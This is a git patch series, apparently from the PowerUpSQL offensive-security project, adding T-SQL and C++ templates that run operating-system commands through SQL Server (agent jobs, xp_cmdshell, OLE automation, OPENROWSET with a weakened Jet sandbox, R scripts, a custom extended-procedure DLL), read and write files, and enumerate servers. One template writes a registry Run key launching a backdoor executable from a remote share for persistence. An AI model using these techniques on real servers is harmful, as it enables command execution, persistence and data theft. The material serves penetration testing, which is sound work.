msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - CMDEXEC] Script Date: 8/29/2017 11:23:50 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - CMDEXEC', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'CmdExec', + @command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ; diff --git a/templates/tsql/oscmdexec_agentjob_powershell.sql b/templates/tsql/oscmdexec_agentjob_powershell.sql new file mode 100644 index 0000000..269a2c1 --- /dev/null +++ b/templates/tsql/oscmdexec_agentjob_powershell.sql @@ -0,0 +1,59 @@ +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - POWERSHELL] Script Date: 8/29/2017 11:28:39 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:28:39 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - POWERHSHELL] Script Date: 8/29/2017 11:28:39 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - POWERHSHELL', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'PowerShell', + @command=N'write-output "hello world" | out-file c:\windows\temp\blah.txt', + @database_name=N'master', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ; diff --git a/templates/tsql/oscmdexec_customxp.cpp b/templates/tsql/oscmdexec_customxp.cpp new file mode 100644 index 0000000..469f363 --- /dev/null +++ b/templates/tsql/oscmdexec_customxp.cpp @@ -0,0 +1,35 @@ +# Register xp via local path: sp_addextendedproc 'RunPs', 'c:\myxp.dll' +# Register xp via UNC path: sp_addextendedproc 'RunPs', '\\servername\pathtofile\myxp.dll' +# Run: exec RunPs +# Unregister xp: sp_dropextendedproc 'RunPs' + + +#include "stdio.h" +#include "stdafx.h" +#include "srv.h" +#include "shellapi.h" +#include "string" + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { +switch (ul_reason_for_call) +{ + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; +} + +return 1; + } + + __declspec(dllexport) ULONG __GetXpVersion() { +return 1; +} + +#define RUNCMD_FUNC extern "C" __declspec (dllexport) +RUNPS_FUNC int __stdcall RunPs(const char * Command) { +ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW); +system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\""); +return 1; +} diff --git a/templates/tsql/oscmdexec_oleautomationobject.sql b/templates/tsql/oscmdexec_oleautomationobject.sql new file mode 100644 index 0000000..cb06320 --- /dev/null +++ b/templates/tsql/oscmdexec_oleautomationobject.sql @@ -0,0 +1,45 @@ +-- This is a TSQL template for executing OS commands through SQL Server using OLE Automation Procedures. + +-- Enable Show Advanced Options +sp_configure 'Show Advanced Options',1 +RECONFIGURE +GO + +-- Enable OLE Automation Procedures +sp_configure 'Ole Automation Procedures',1 +RECONFIGURE +GO + +-- Execute Command via OLE and store output in temp file +DECLARE @Shell INT +DECLARE @Shell2 INT +EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 +EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\temp\file.txt"' + +-- Read results +DECLARE @libref INT +DECLARE @filehandle INT +DECLARE @FileContents varchar(8000) + +EXEC sp_oacreate 'scripting.filesystemobject', @libref out +EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\temp\file.txt', 1 +EXEC sp_oamethod @filehandle, 'readall', @FileContents out + +SELECT @FileContents +GO + +-- Remove temp result file +DECLARE @Shell INT +EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 +EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:\temp\file.txt"' +GO + +-- Disable Show Advanced Options +sp_configure 'Show Advanced Options',1 +RECONFIGURE +GO + +-- Disable OLE Automation Procedures +sp_configure 'Ole Automation Procedures',1 +RECONFIGURE +GO diff --git a/templates/tsql/oscmdexec_openrowset.sql b/templates/tsql/oscmdexec_openrowset.sql new file mode 100644 index 0000000..d9bcf08 --- /dev/null +++ b/templates/tsql/oscmdexec_openrowset.sql @@ -0,0 +1,116 @@ +-- WORK IN PROGRESS +-- Targeting custom DSN via linked query (openquery), openrowset, opendatasource +-- Target xls and mdb variations +-- May require https://www.microsoft.com/en-us/download/details.aspx?id=13255 on modern version... +-- exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 + +-- Enable show advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable ad hoc queries +sp_configure 'ad hoc distributed queries',1 +reconfigure +go + +-- Verify the configuration change +select * from master.sys.configurations where name like '%ad%' + +-- Losen restrictions +-- EXEC sp_MSset_oledb_prop +EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 +EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 +EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0' + +EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1 -- Errors +EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1 +EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0' + +  +-- Create linked servers +-- Note: xp_dirtree could potentially be used to identify mdb or xls files on the database server +exec sp_addlinkedserver @server='Access_4', +@srvproduct='Access', +@provider='Microsoft.Jet.OLEDB.4.0', +@datasrc='C:\Windows\Temp\SystemIdentity.mdb' + +exec sp_addlinkedserver @server='Access_12', +@srvproduct='Access', +@provider='Microsoft.ACE.OLEDB.12.0', +@datasrc='C:\Windows\Temp\SystemIdentity.mdb' + +EXEC master.dbo.sp_addlinkedserver @server = N'excelxx', +@srvproduct=N'Excel', @provider=N'Microsoft.ACE.OLEDB.12.0', +@datasrc=N'C:\windows\temp\test.xls', @provstr=N'Excel 15.0' + +-- List linked servers +select * from master..sysservers + +-- Attempt queries +SELECT * from openquery([Access_4],'select 1') +SELECT * from openquery([Access_12],'select 1') +SELECT * from openquery([Access],'select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")') +SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;Database=C:\windows\temp\test.xls', 'SELECT * FROM [Sheet1$]') + +-- Drop linked servers +sp_dropserver "Access_4" +sp_dropserver "Access_12" + +-- List linked servers +select * from master..sysservers + +-- Look into additional examples for cmd exec +SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0;Database=C:\windows\temp\test.xls', 'SELECT * FROM [Sheet1$]') +select * from openrowset('SQLOLEDB',';database=C:\Windows\Temp\SystemIdentity.mdb','select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")') +select * from openrowset('microsoft.jet.oledb.4.0',';database=C:\Windows\System32\LogFiles\Sum\Current.mdb','select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")') +INSERT INTO OPENROWSET ('Microsoft.Jet.OLEDB.4.0', 'Excel 8.0;Database=G:\Test.xls;', 'SELECT * FROM [Sheet1$]') +SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 8.0;Database=C:\testing.xlsx;', 'SELECT Name, Class FROM [Sheet1$]') +SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0','Text;Database=C:\Temp\;','SELECT * FROM [Test.csv]') +SELECT * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0','Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0') +select * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0','Excel 5.0;HDR=YES;DATABASE=c:\Book1.xls',Sheet1$) +GO + +-- Sample sources +-- https://stackoverflow.com/questions/36987636/cannot-create-an-instance-of-ole-db-provider-microsoft-jet-oledb-4-0-for-linked +-- https://blogs.msdn.microsoft.com/spike/2008/07/23/ole-db-provider-microsoft-jet-oledb-4-0-for-linked-server-null-returned-message-unspecified-error/ + + +-- source: https://www.sqlservercentral.com/Forums/PrintTopic1121430.aspx + +-- Enable show advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable ad hoc queries +sp_configure 'ad hoc distributed queries',1 +reconfigure +go + +EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 +EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 + +--===== This is an innocent enough setup. +EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','C:\Windows\Temp\SystemIdentity.mdb'; +go +--===== This verifies the current mode of the Jet engine so we can later verify that we set it back correctly. +EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'; --Verify that it's a "2" for normal mode +go +--===== This makes it a wee bit more agressive. I'm using xp_rewrite to simulate an attack that can be made via T-SQL + -- using a different method and without "SA" privs which I will not post nor provide a link to. +EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; --Set a more aggressive mode +EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'; --Verify that it's a "1" for normal mode +go +--===== This runs a harmless DOS command (DIR) but shows that once the "SandBoxMode" has been changed via a hack, DOS is available + -- through OPENROWSET. +SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select shell("cmd.exe /c echo hello there c:\ > C:\windows\temp\test123.txt") as blah'); +go +SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select 1 as blah'); +SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select ''stringvalue'' as blah'); + +--===== Cleanup +EXEC sp_dropserver 'testsql' --Drops the linked server we created above. +EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2 --Return to normal mode +EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode' --Verify that it's a "2" for normal mode + diff --git a/templates/tsql/oscmdexec_rscript.sql b/templates/tsql/oscmdexec_rscript.sql new file mode 100644 index 0000000..cd081ec --- /dev/null +++ b/templates/tsql/oscmdexec_rscript.sql @@ -0,0 +1,17 @@ +-- Dependences: R runtime must be installed + +-- Enable Show Advanced Options +sp_configure 'Show Advanced Options',1 +RECONFIGURE +GO + +-- Enable external scripts enabled, may require a service restart +sp_configure 'external scripts enabled',1 +RECONFIGURE +GO + +EXEC sp_execute_external_script + @language=N'R', + @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' + WITH RESULT SETS (([cmd_out] text)); +GO diff --git a/templates/tsql/oscmdexec_xpcmdshell.sql b/templates/tsql/oscmdexec_xpcmdshell.sql new file mode 100644 index 0000000..7064fa6 --- /dev/null +++ b/templates/tsql/oscmdexec_xpcmdshell.sql @@ -0,0 +1,17 @@ + +-- Re install +sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' + + +-- re enable +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +GO + +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO + + +-- run +Exec master..xp_cmdshell 'whoami' diff --git a/templates/tsql/oscmdexec_xpcmdshell_proxy.sql b/templates/tsql/oscmdexec_xpcmdshell_proxy.sql new file mode 100644 index 0000000..9e73c80 --- /dev/null +++ b/templates/tsql/oscmdexec_xpcmdshell_proxy.sql @@ -0,0 +1,42 @@ +-- Summary +-- Create a SQL Server login that maps to a database user/role +-- that has been given explicit privs to execute xp_cmdshell +-- once the xp_proxy_account has been configured with valid windows credentials +-- ooook then + +USE MASTER; +GO + +-- enable xp_cmdshell on the server +sp_configure 'show advanced options',1 +reconfigure +go + +sp_configure 'xp_cmdshell',1 +reconfigure +go + +-- Create login from windows user +CREATE LOGIN [SQLServer1\User1] FROM WINDOWS; + +-- Create xp_cmdshell_proxy +EXEC sp_xp_cmdshell_proxy_account 'SQLServer1\User1', 'Password!'; + +-- Create database role +CREATE ROLE [CmdShell_Executor] AUTHORIZATION [dbo] + +-- Grant role privs to execute xp_cmdshell using proxy +GRANT EXEC ON xp_cmdshell TO [CmdShell_Executor] + +-- Create a database user +CREATE USER [user1] FROM LOGIN [user1]; + +-- Add database user to the role +EXEC sp_addrolemember [CmdShell_Executor],[user1]; + +-- Grant user1 database user privs to execute xp_cmdshell using proxy directly +GRANT EXEC ON xp_cmdshell TO [user1] + + +-- Login as user1 - will show SQLServere1\User1 instead of service account +xp_cmdshell 'whoami' diff --git a/templates/tsql/persist_reg_run.tsql b/templates/tsql/persist_reg_run.tsql new file mode 100644 index 0000000..a2625bb --- /dev/null +++ b/templates/tsql/persist_reg_run.tsql @@ -0,0 +1,10 @@ +--------------------------------------------- +-- Use SQL Server xp_regwrite to configure +-- a file to run via UNC Path when users login +---------------------------------------------- +EXEC master..xp_regwrite +@rootkey = 'HKEY_LOCAL_MACHINE', +@key = 'Software\Microsoft\Windows\CurrentVersion\Run', +@value_name = 'EvilSauce', +@type = 'REG_SZ', +@value = '"\\EvilServer\Backdoor.exe"' diff --git a/templates/tsql/readfile_BulkInsert.sql b/templates/tsql/readfile_BulkInsert.sql new file mode 100644 index 0000000..4edfb07 --- /dev/null +++ b/templates/tsql/readfile_BulkInsert.sql @@ -0,0 +1,22 @@ +-- Option 1 - local file +-- Create temp table +CREATE TABLE #file (content nvarchar(4000)); + +-- Read file into temp table +BULK INSERT #file FROM 'c:\temp\file.txt'; + +-- Select contents of file +SELECT content FROM #file + +-- Option 2 - file via unc path +-- Create temp table +CREATE TABLE #file (content nvarchar(4000)); + +-- Read file into temp table +BULK INSERT #file FROM '\\127.0.0.1\c$\temp\file.txt'; + +-- Select contents of file +SELECT content FROM #file + +-- Drop temp table +DROP TABLE #file diff --git a/templates/tsql/readfile_OpenDataSourceTxt.sql b/templates/tsql/readfile_OpenDataSourceTxt.sql new file mode 100644 index 0000000..a4d83ea --- /dev/null +++ b/templates/tsql/readfile_OpenDataSourceTxt.sql @@ -0,0 +1,17 @@ +-- Note: Requires the driver to be installed ahead of time. + +-- Enable show advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable ad hoc queries +sp_configure 'ad hoc distributed queries',1 +reconfigure +go + +-- list available providers +EXEC sp_MSset_oledb_prop + +-- Read a text file +SELECT * FROM OpenDataSource( 'Microsoft.ACE.OLEDB.12.0','Data Source="c:\temp";Extended properties="Text;hdr=no"')...file#txt diff --git a/templates/tsql/readfile_OpenDataSourceXlsx b/templates/tsql/readfile_OpenDataSourceXlsx new file mode 100644 index 0000000..e21d452 --- /dev/null +++ b/templates/tsql/readfile_OpenDataSourceXlsx @@ -0,0 +1,17 @@ +-- Note: Requires the driver to be installed ahead of time. + +-- Enable show advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable ad hoc queries +sp_configure 'ad hoc distributed queries',1 +reconfigure +go + +-- list available providers +EXEC sp_MSset_oledb_prop + +-- Read text file +SELECT * FROM OPENDATASOURCE('Microsoft.ACE.OLEDB.12.0','Data Source=C:\windows\temp\Book1.xlsx;Extended Properties=Excel 8.0')...[Targets$] diff --git a/templates/tsql/readfile_OpenRowSetBulk.sql b/templates/tsql/readfile_OpenRowSetBulk.sql new file mode 100644 index 0000000..689f8de --- /dev/null +++ b/templates/tsql/readfile_OpenRowSetBulk.sql @@ -0,0 +1,16 @@ +-- select the contents of a file using openrowset +-- note: ad-hoc queries have to be enabled +-- https://docs.microsoft.com/en-us/sql/t-sql/functions/openrowset-transact-sql + +-- Enable show advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable ad hoc queries +sp_configure 'ad hoc distributed queries',1 +reconfigure +go + +-- Read text file +SELECT cast(BulkColumn as varchar(max)) as Document FROM OPENROWSET(BULK N'C:\windows\temp\blah.txt', SINGLE_BLOB) AS Document diff --git a/templates/tsql/readfile_OpenRowSetTxt.sql b/templates/tsql/readfile_OpenRowSetTxt.sql new file mode 100644 index 0000000..60d9515 --- /dev/null +++ b/templates/tsql/readfile_OpenRowSetTxt.sql @@ -0,0 +1,20 @@ +-- Note: Requires the driver to be installed ahead of time. +-- EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 -- not required +-- EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 -- not required +-- EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; -- not required + +-- list available providers +EXEC sp_MSset_oledb_prop -- get available providers + +-- Enable show advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable ad hoc queries +sp_configure 'ad hoc distributed queries',1 +reconfigure +go + +-- Read text file +SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]') diff --git a/templates/tsql/readfile_OpenRowSetXlsx.sql b/templates/tsql/readfile_OpenRowSetXlsx.sql new file mode 100644 index 0000000..edf967d --- /dev/null +++ b/templates/tsql/readfile_OpenRowSetXlsx.sql @@ -0,0 +1,21 @@ + +-- Requires the driver be installed ahead of time. + +-- list available providers +EXEC sp_MSset_oledb_prop -- get available providers + +-- Enable show advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable ad hoc queries +sp_configure 'ad hoc distributed queries',1 +reconfigure +go + +-- Read text file from disk +SELECT column1 FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database=C:\windows\temp\Book1.xlsx;', 'SELECT * FROM [Targets$]') + +-- Read text file from unc path +SELECT column1 FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database=\\server\folder\Book1.xlsx;', 'SELECT * FROM [Targets$]') diff --git a/templates/tsql/smo-common-commands.ps1 b/templates/tsql/smo-common-commands.ps1 new file mode 100644 index 0000000..6d1114d --- /dev/null +++ b/templates/tsql/smo-common-commands.ps1 @@ -0,0 +1,117 @@ +# Script Name: +# SQL Server SMO Cheatsheet (0.CheatSheet-SqlServerSmo.ps1) +# Author: +# Scott Sutherland (@_nullbind), 2015 NetSPI +# Description: +# This file contains basic examples that show how to query SQL Server +# for configuration information using the SQL Server SDK SMO APIs. +# Requirements: +# The examples in this cheatsheet require two SMO libraries that get installed with SQL Server. +# The file names have been listed below: +# - Microsoft.SqlServer.Smo.dll +# - Microsoft.SqlServer.SmoExtended.dll +# References: +# https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.management.smo.server.aspx + +# Import SMO Libs - required for all examples below +[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo") | Out-Null +[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended")| Out-Null + +# Authenticate - Integrated Windows Auth - works +$srv = new-object ('Microsoft.SqlServer.Management.Smo.Server') "server\instance" + +# Get instance option +[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources() + +# Authenticate - SQL Server authentication - mixed mode - works +$srv = new-object ('Microsoft.SqlServer.Management.Smo.Server') "10.1.1.1" +$srv.ConnectionContext.LoginSecure=$false; +$srv.ConnectionContext.set_Login("user"); +$srv.ConnectionContext.set_Password("password") +$srv.Information + +# Get version / server information +$srv.Information +$srv.Name +$srv.NetName +$srv.ComputerNamePhysicalNetBIOS +$srv.Version +$srv.VersionMajor +$srv.VersionMinor +$srv.Edition +$srv.EngineEdition +$srv.OSVersion +$srv.DomainInstanceName +$srv.DomainName +$srv.SqlDomainGroup + +# Get service informaiton +$srv.ServiceName +$srv.ServiceAccount +$srv.ServiceStartMode +$srv.BrowserServiceAccount + +# Get state information +$srv.State +$srv.Status + +# Get listener information +$srv.NamedPipesEnabled +$srv.TcpEnabled + +# Get directory path information +$srv.RootDirectory +$srv.InstallDataDirectory +$srv.InstallSharedDirectory +$srv.ErrorLogPath +$srv.MasterDBLogPath +$srv.MasterDBPath +$srv.BackupDirectory + +# Logins, roles, and privilege information +$srv.ConnectionContext +$srv.LoginMode +$srv.Logins +$srv.Roles +$srv.EnumServerPermissions() + +# Window accounts / groups assigned logins in SQL Server +$srv.EnumWindowsUserInfo() +$srv.EnumWindowsUserInfo() | select "account name" +$srv.EnumWindowsDomainGroups() +$srv.EnumWindowsGroupInfo("Domain Admins") + +# Credentials / proxy_account +$srv.Credentials +$srv.ProxyAccount + +# Databse information +$srv.Databases + +# cluster / mirror information +$srv.IsClustered +$srv.ClusterName +$srv.EnumClusterMembersState +$srv.EnumClusterSubnets +$srv.EnumDatabaseMirrorWitnessRoles() + +# SQL Server settings +$srv.Configuration +$srv.Settings +$srv.Properties +$srv.Mail +$srv.MailProfile +$srv.Triggers +$srv.AuditLevel +$srv.Audits +$srv.LinkedServers +$srv.Endpoints +$srv.JobServer +$srv.EnumServerAttributes() + +# SQL Server enumeration +# https://msdn.microsoft.com/en-us/library/ms210366.aspx +$srv.PingSqlServerVersion("server\Standard") +$srv.PingSqlServerVersion("1.1.1.1",'sa','password') +$SQLSvr = [Microsoft.SqlServer.Management.Smo.SmoApplication]::EnumAvailableSqlServers($true); $SQLSvr | Out-GridView + diff --git a/templates/tsql/write_file_OpenRowSetTxt.sql b/templates/tsql/write_file_OpenRowSetTxt.sql new file mode 100644 index 0000000..f3cf612 --- /dev/null +++ b/templates/tsql/write_file_OpenRowSetTxt.sql @@ -0,0 +1,19 @@ + +-- Note: Requires the driver to be installed ahead of time. + +-- list available providers +EXEC sp_MSset_oledb_prop -- get available providers + +-- Enable show advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable ad hoc queries +sp_configure 'ad hoc distributed queries',1 +reconfigure +go +-- Write text file +INSERT INTO OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]') +SELECT @@version + From 69a8ebbfc151abfbce28dcbfc1ec73a54be07895 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 13:53:11 -0500 Subject: [PATCH 066/145] Moved smo cheatsheet Moved smo cheatsheet --- templates/{tsql => }/smo-common-commands.ps1 | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/{tsql => }/smo-common-commands.ps1 (100%) diff --git a/templates/tsql/smo-common-commands.ps1 b/templates/smo-common-commands.ps1 similarity index 100% rename from templates/tsql/smo-common-commands.ps1 rename to templates/smo-common-commands.ps1 From 0d011cf0672db1bf4999e3dd894600bc90f76246 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 13:54:07 -0500 Subject: [PATCH 067/145] Delete PowerUpSQL-Logo2.png --- images/PowerUpSQL-Logo2.png | Bin 19637 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 images/PowerUpSQL-Logo2.png diff --git a/images/PowerUpSQL-Logo2.png b/images/PowerUpSQL-Logo2.png deleted file mode 100644 index 8ef3d564e5b0a051444143bb55a9f6749ea97204..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 19637 zcmdVCby$>b_cn^6gwiN5fZ&jVbmt)5AcB;Hw6sV|skDHEbPLiTA|)*$3^_E?(%s$P zHK5P?yuZEoAN$+iKilJY4j=EiVqGiFb*^>YGl7qlq_J<2-aH z)1fB~r!i=tNY?F*Xq3$=qOq6Nm@j|MZ56?9p`$AErY;pGRWXTj|jB zF`%}!O()fT%5*z0kIEAVWoKn)#D+#)nv0oI3an3LON%XKf; z@=M=4@EFCMw(AX~nL_q4?CcTx@we*I=D6*_G3lUnBnYUQJ)8G~NPi z)5FzraC+zSuO@RN>Cm$P7EJ6673j>vp;J2Ny2Hkk=8o_5o2ru)ON0wuXPa7+!t0#+ zLr<^w6YdB*=SuE0_HU>K?V~SrkgzruK>W_4RCLm05iLsyWpd`876^lT;o-`3KU%9{L2^+~b^~NJHz#+2MBjD+LcRM7r}=bPNGE zOvJ9_OXhPLJsCPSY`DDa^9pI~;#*nTcV791g@>l_Ie+1~o{AI8`c;)Vo-)%jOS>dc z<~n@K*(*}jETv%OAzDt|cb6V@btu1-MjSeFz~#&YGo4d;YxGBR?2~#~+FT+EXG*0n zX86pST{u7AUFdk$HBdU=c^98PgJ^c(KnYrl7$NVu9#F;GHgxV8vBti`{c8KcJmHn@5M5m zbJ@aPcyYT@O6-X;fz&heH$1ctGsXT$S(lh{ZJ@>7JjtTxlxN4nWwoGr|D4GjBI_IGS?phGosWGBp85GJJ4V(&)r)lI9Mk07xk)-~ zGtHp#9Jpg<7wj3Sl{&LmThMm&9XOHxXIX6xIR#;)2gyzPVll@z^<;T!J$ZLHRa|=# zXusgO<$nz1960eSs|S- z6|Kq$wH0ZvoU@TQ@LmL&f;Ibxs#m@&n2&`!h6euXN83vX5!2!R5F=;Op5ysC>g13~ z_0eflPiBOR$=#`8VrAp{5>-0LpozuHD-AF4fnbT*eZCwVK~48qtHb$UOS#jLaVVdo zAL<{3@2mN#5n@&7JWQ~dmWa;^ay9z9K+YBdqSJmW>ZiNLKjz$PF-u%OCs0Mq(B-Ui z!(g3vX?69qMgqM|3Hp>wV}Jf}A0il+Q*O>6123t6n_+Dp@Kn#(W3b4v5gHqC_}fw^ zx<4Y8NeM5^gUJb{-gtG%2*w!@0iz;a0}_s6V1d)_oBuzA?m(GW3v%*D82ep>t$OiD zi7Fd@wCH@Frr?MLXIi=Pb&hRd5=#rG+>D*y;zn7X(_<9`HZ)bSGu+!*)emfCuPNPV 